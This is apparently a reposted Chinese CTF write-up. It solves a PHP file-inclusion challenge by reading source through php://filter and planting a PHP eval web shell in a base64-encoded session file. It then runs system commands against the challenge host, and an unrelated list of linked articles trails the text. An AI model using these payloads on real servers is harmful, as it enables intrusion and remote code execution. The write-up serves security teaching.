CTF PHP文件包含--session
PHP文件包含 Session
首先了解一下PHP文件包含漏洞----包含session
利用条件:session文件路径已知,且其中内容部分可控。
姿势:
php的session文件的保存路径可以在phpinfo的session.save_path看到。
常见的php-session存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到。
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
题目:
- http://54.222.188.152:22589/
解题思路:
php伪协议读取源码
点击login,发现链接变为:
- http://54.222.188.152:22589/index.php
- ?action=login.php
首先读取 login.php 的源码
- http://54.222.188.152:22589/index.php
- ?action=php://filter/read=convert.base64-encode/resource=login.php
得到login.php源码:
- <?php
- require_once('config.php');
- session_start();
- if($_SESSION['username']) {
- header('Location: index.php');
- exit;
- }
- if($_POST['username'] && $_POST['password']) {
- $username = $_POST['username'];
- $password = md5($_POST['password']);
- $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
- if ($mysqli->connect_errno) {
- die("could not connect to the database:\n" . $mysqli->connect_error);
- }
- $sql = "select password from user where username=?";
- $stmt = $mysqli->prepare($sql);
- $stmt->bind_param("s", $username);
- $stmt->bind_result($res_password);
- $stmt->execute();
- $stmt->fetch();
- if ($res_password == $password) {
- $_SESSION['username'] = base64_encode($username);
- header("location:index.php");
- } else {
- die("Invalid user name or password");
- }
- $stmt->close();
- $mysqli->close();
- }
- else {
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>Login</title>
- <link href="static/bootstrap.min.css" rel="stylesheet">
- <script src="static/jquery.min.js"></script>
- <script src="static/bootstrap.min.js"></script>
- </head>
- <body>
- <div class="container" style="margin-top:100px">
- <form action="login.php" method="post" class="well" style="width:220px;margin:0px auto;">
- <h3>Login</h3>
- <label>Username:</label>
- <input type="text" name="username" style="height:30px"class="span3"/>
- <label>Password:</label>
- <input type="password" name="password" style="height:30px" class="span3">
- <button type="submit" class="btn btn-primary">LOGIN</button>
- </form>
- </div>
- </body>
- </html>
- <?php
- }
- ?>
读取 register.php 的源码
访问:
- http://54.222.188.152:22589/index.php
- ?action=php://filter/read=convert.base64-encode/resource=register.php
得到源码:
- <?php
- if ($_POST['username'] && $_POST['password']) {
- require_once('config.php');
- $username = $_POST['username'];
- $password = md5($_POST['password']);
- $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
- if ($mysqli->connect_errno) {
- die("could not connect to the database:\n" . $mysqli->connect_error);
- }
- $mysqli->set_charset("utf8");
- $sql = "select * from user where username=?";
- $stmt = $mysqli->prepare($sql);
- $stmt->bind_param("s", $username);
- $stmt->bind_result($res_id, $res_username, $res_password);
- $stmt->execute();
- $stmt->store_result();
- $count = $stmt->num_rows();
- if($count) {
- die('User name Already Exists');
- } else {
- $sql = "insert into user(username, password) values(?,?)";
- $stmt = $mysqli->prepare($sql);
- $stmt->bind_param("ss", $username, $password);
- $stmt->execute();
- echo 'Register OK!<a href="index.php">Please Login</a>';
- }
- $stmt->close();
- $mysqli->close();
- } else {
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>Login</title>
- <link href="static/bootstrap.min.css" rel="stylesheet">
- <script src="static/jquery.min.js"></script>
- <script src="static/bootstrap.min.js"></script>
- </head>
- <body>
- <div class="container" style="margin-top:100px">
- <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
- <h3>Register</h3>
- <label>Username:</label>
- <input type="text" name="username" style="height:30px"class="span3"/>
- <label>Password:</label>
- <input type="password" name="password" style="height:30px" class="span3">
- <button type="submit" class="btn btn-primary">REGISTER</button>
- </form>
- </div>
- </body>
- </html>
- <?php
- }
- ?>
读取 config.php 的源码
- http://54.222.188.152:22589/index.php
- ?action=php://filter/read=convert.base64-encode/resource=config.php
得到源码:
- <?php
- $dbhost = 'localhost';
- $dbuser = 'web';
- $dbpass = 'webpass123';
- $dbname = 'web';
- ?>
读取 index.php 的源码
- http://54.222.188.152:22589/index.php
- ?action=php://filter/read=convert.base64-encode/resource=index.php
源码:
- <?php
- error_reporting(0);
- session_start();
- if (isset($_GET['action'])) {
- include $_GET['action'];
- exit();
- } else {
- ?>
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="utf-8">
- <title>Login</title>
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <link href="css/bootstrap.css" rel="stylesheet" media="screen">
- <link href="css/main.css" rel="stylesheet" media="screen">
- </head>
- <body>
- <div class="container">
- <div class="form-signin">
- <?php if (isset($_SESSION['username'])) { ?>
- <?php echo "<div class=\"alert alert-success\">You have been <strong>successfully logged in</strong>.</div>
- <a href=\"index.php?action=logout.php\" class=\"btn btn-default btn-lg btn-block\">Logout</a>";}else{ ?>
- <?php echo "<div class=\"alert alert-warning\">Please Login.</div>
- <a href=\"index.php?action=login.php\" class=\"btn btn-default btn-lg btn-block\">Login</a>
- <a href=\"index.php?action=register.php\" class=\"btn btn-default btn-lg btn-block\">Register</a>";
- } ?>
- </div>
- </div>
- </body>
- </html>
- <?php
- }
- ?>
解题分析:
拿到了源码,首先进行简单的审计一下。
SQL注入?:
有登陆页面,不知道会不会有注入,简单看一下。
往往注册与登陆操作中会有与数据库交互的地方,这也是sql注入的常见引发点。
看一下register.php,这里仅截取部分代码:
- # register.php
- $mysqli->set_charset("utf8");
- $sql = "select * from user where username=?";
- $stmt = $mysqli->prepare($sql);
- $stmt->bind_param("s", $username);
- $stmt->bind_result($res_id, $res_username, $res_password);
- $stmt->execute();
- $stmt->store_result();
再看一下login.php:
- # login.php
- $sql = "select password from user where username=?";
- $stmt = $mysqli->prepare($sql);
- $stmt->bind_param("s", $username);
- $stmt->bind_result($res_password);
- $stmt->execute();
- $stmt->fetch();
这里都使用了PHP的PDO处理,因此这里存在sql注入的可能性很小。
session
接着再看看,有哪些参数是可控的。
在login.php中:
- # 第3行
- session_start();
- if($_SESSION['username']) {
- header('Location: index.php');
- exit;
- }
- # 第8行
- if($_POST['username'] && $_POST['password']) {
- $username = $_POST['username'];
- # 第20行
- $stmt->bind_result($res_password);
- # 第24行
- if ($res_password == $password) {
- $_SESSION['username'] = base64_encode($username);
- header("location:index.php");
这里使用了session来保存用户会话,php手册中是这样描述的:
- PHP 会将会话中的数据设置到
$_SESSION
变量中。 - 当 PHP 停止的时候,它会自动读取
$_SESSION
中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。 - 对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。
考虑到变量$username
是我们可控的,并且被设置到了$_SESSION
中,因此我们输入的数据未经过滤的就被写入到了对应的sessioin文件中。结合前面的php文件包含,可以推测这里可以包含session文件。
要包含session文件,需要知道文件的路径。先注册一个用户,比如chybeta。等登陆成功后。记录下cookie中的PHPSESSID的值,这里为udu8pr09fjvabtoip8icgurt85
访问:
- http://54.222.188.152:22589/index.php?action=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85
这个/var/lib/php5/
的session文件路径是测试出来的,常见的也就是上面所述的几种。
base64_encode
能包含,并且控制session文件,但要写入可用的payload,还需要绕过:
- $_SESSION['username'] = base64_encode($username);
如前面所示,输入的用户名会被base64加密。如果直接用php伪协议来解密整个session文件,由于序列化的前缀,势必导致乱码。
考虑一下base64的编码过程。比如编码abc。
- 未编码: abc
- 转成ascii码: 97 98 99
- 转成对应二进制(三组,每组8位): 01100001 01100010 01100011
- 重分组(四组,每组6位): 011000 010110 001001 100011
- 每组高位补零,变为每组8位:00011000 00010110 00001001 00100011
- 每组对应转为十进制: 24 22 9 35
- 查表得: Y W J j
考虑一下session的前缀:username|s:12:"
,中间的数字12表示后面base64串的长度。当base64串的长度小于100时,前缀的长度固定为15个字符,当base64串的长度大于100小于1000时,前缀的长度固定为16个字符。
由于16个字符,恰好满足一下条件:
- 16个字符 => 16 * 6 = 96 位 => 96 mod 8 = 0
也就是说,当对session文件进行base64解密时,前16个字符固然被解密为乱码,但不会再影响从第17个字符后的部分也就是base64加密后的username。
Getflag
注册一个账号,比如:
- chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>
其base64加密后的长度为128,大于100。
- http://54.222.188.152:22589/index.php
- ?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85
- &atebyhc=phpinfo();
成功getshell。
访问:
- http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('ls /');
访问:
- http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('cat /fffflllllaaaagggg.txt');
小结
考了几个知识点:
- php文件包含:伪协议利用
- php文件包含:包含session文件
- php-session知识及序列化格式
- base64的基本原理
原文链接(https://chybeta.github.io/2017/11/09/%E4%B8%80%E9%81%93CTF%E9%A2%98%EF%BC%9APHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/)
任重而道远!
CTF PHP文件包含--session的更多相关文章
- 实战经验丨CTF中文件包含的技巧总结
站在巨人的肩头才会看见更远的世界,这是一篇技术牛人对CTF比赛中文件包含的内容总结,主要是对一些包含点的原理和特征进行归纳分析,并结合实际的例子来讲解如何绕过,全面细致,通俗易懂,掌握这个新技能定会让 ...
- CTF中文件包含的一些技巧
i春秋作家:lem0n 原文来自:浅谈内存取证 0x00 前言 网络攻击内存化和网络犯罪隐遁化,使部分关键数字证据只存在于物理内存或暂存于页面交换文件中,这使得传统的基于文件系统的计算机取证不能有效应 ...
- CTF之文件包含的猥琐思路
From: i春秋 百度杯”CTF 一: <?php include "flag.php"; //包含flag.php这个文件 $a = @$_REQUEST['hello' ...
- CTF 文件包含与伪协议
正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议. 先放出原文链接(http://www.freebuf.com/column/150028 ...
- “百度杯”CTF比赛 十二月场_blog(kindeditor编辑器遍历,insert注入,文件包含)
题目在i春秋的ctf训练营中能找到 首先先是一个用户登录与注册界面,一般有注册界面的都是要先让你注册一波,然后找惊喜的 那我就顺着他的意思去注册一个号 注册了一个123用户登录进来看到有个文本编辑器, ...
- CTF 文件包含
目录 一.基本概念 二.本地文件包含 三.远程文件包含 四.具体场景 五.补充 一.基本概念 文件包含 将相同函数写入单独的文件中,需要使用时直接调用 文件包含漏洞 将被包含的文件设置为变量,导致客户 ...
- 一道内部ctf文件包含题
拿到题目 在burp里看下 拿到源码 很明显是一道文件包含题目,包含cookie里的值,于是构造Cookie:language=chinese试试 文件变成中文的了,说明中文语言进行了包含并替换 ...
- 百度杯”CTF比赛 2017 二月场 没错!就是文件包含漏洞。
题目源码: 文件包含漏洞的话,看一下 你么可以使用php://input 伪协议,执行代码(参考了大佬WP)这里使用了POSTMAN, 目录下还有一个dle345aae.php文件,呢么用cat命令打 ...
- 【CTF WEB】文件包含
文件包含 题目要求: 请找到题目中FLAG 漏洞源码 <meta charset='utf-8'> <center><h1>文件阅读器</h1>< ...
随机推荐
- shell command
查看网卡流量报告 sar -n DEV kill pid ps -ef |grep xxx |grep -v grep |awk '{print $2}' |xargs ki ...
- 使用python比较两个文件的不同之处
比较两个文件的不同之处用处还是比较大的,特别是比较两个版本的不同之处 [root@localhost python]# cat diftest.py #!/usr/bin/python import ...
- Java实现选择排序以及冒泡排序
//排序 选择排序 数组中每个元素都进行比较 public class Test { public static void main(String[] args) { int[] arr = {12, ...
- Singer 学习十一 配置以及状态管理
配置和状态文件通过提供身份验证信息,开始时间和有关以前调用的信息,帮助为Taps和Targets提供上下文 配置文件 配置文件包含tap 运行需要的信息,通常包含API,以及数据源的凭据 特殊字段 s ...
- Hasura GraphQL 内部表结构
Hasura 使用pg 数据库存储引擎的元数据信息,在hdb_catalog schema 下面,是在初始化的时候生成的 对于表的管理.权限的信息存储都在这个schema下 hdb_table 这个表 ...
- Git安装和TortoiseGit详细使用教程【基础篇】
标签:tortoisegit 环境:win8.1 64bit 安装准备: 首先你得安装windows下的git msysgit1.9.5 安装版本控制器客户端tortoisegit tortoise ...
- linux之 awk
简介awk是一个强大的文本分析工具,相对于grep的查找,sed的编辑,awk在其对数据分析并生成报告时,显得尤为强大.简单来说awk就是把文件逐行的读入,以空格为默认分隔符将每行切片,切开的部分再进 ...
- react 学习资料
react 学习资料 项目 学习资料 react 中文版:https://doc.react-china.org/ react-router https://reacttraining.com/rea ...
- 配置中心Server端
为什么需要统一配置中心 1.不方便维护.一个功能被多个人开发,如果其中一个人修改了配置文件,另外一个人测试之前的功能,准备使用之前的配置. 2.配置内容安全与权限.线上的配置是不会对开发公开,特别是数 ...
- Go thrift使用举例
thrift 最初是 facebook 开发使用的 rpc 通信框架,后来贡献给了 apache 基金会,出来得比较早,几乎支持所有的后端语言,使用非常广泛,是不可不知的一个网络框架. 和 grpc ...